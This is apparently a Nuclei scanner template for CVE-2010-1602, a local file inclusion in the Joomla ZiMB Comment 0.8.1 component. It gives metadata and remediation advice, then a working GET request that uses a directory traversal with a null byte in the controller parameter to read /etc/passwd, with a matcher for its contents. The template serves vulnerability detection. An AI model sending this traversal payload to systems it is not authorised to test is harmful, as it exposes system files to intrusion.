id: CVE-2010-1602

info:
  name: Joomla! Component ZiMB Comment 0.8.1 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the ZiMB Comment (com_zimbcomment) component 0.8.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component ZiMB Comment or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12283
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1602
    - http://packetstormsecurity.org/1004-exploits/joomlazimbcomment-lfi.txt
    - http://www.vupen.com/english/advisories/2010/0932
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1602
    cwe-id: CWE-22
    epss-score: 0.15695
    epss-percentile: 0.96523
    cpe: cpe:2.3:a:zimbllc:com_zimbcomment:0.8.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zimbllc
    product: com_zimbcomment
  tags: cve,cve2010,lfi,edb,packetstorm,joomla,zimbllc,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b755cd5f8f9caba59fcf78c308eeeba2a025de3630fb6df1c23e39edcb1496ab022100e8a6339dfb74a33d0db3611ce0aced71543a694cb7fc5dca65577b82d566654f:922c64590222798bb761d5b6d8e72950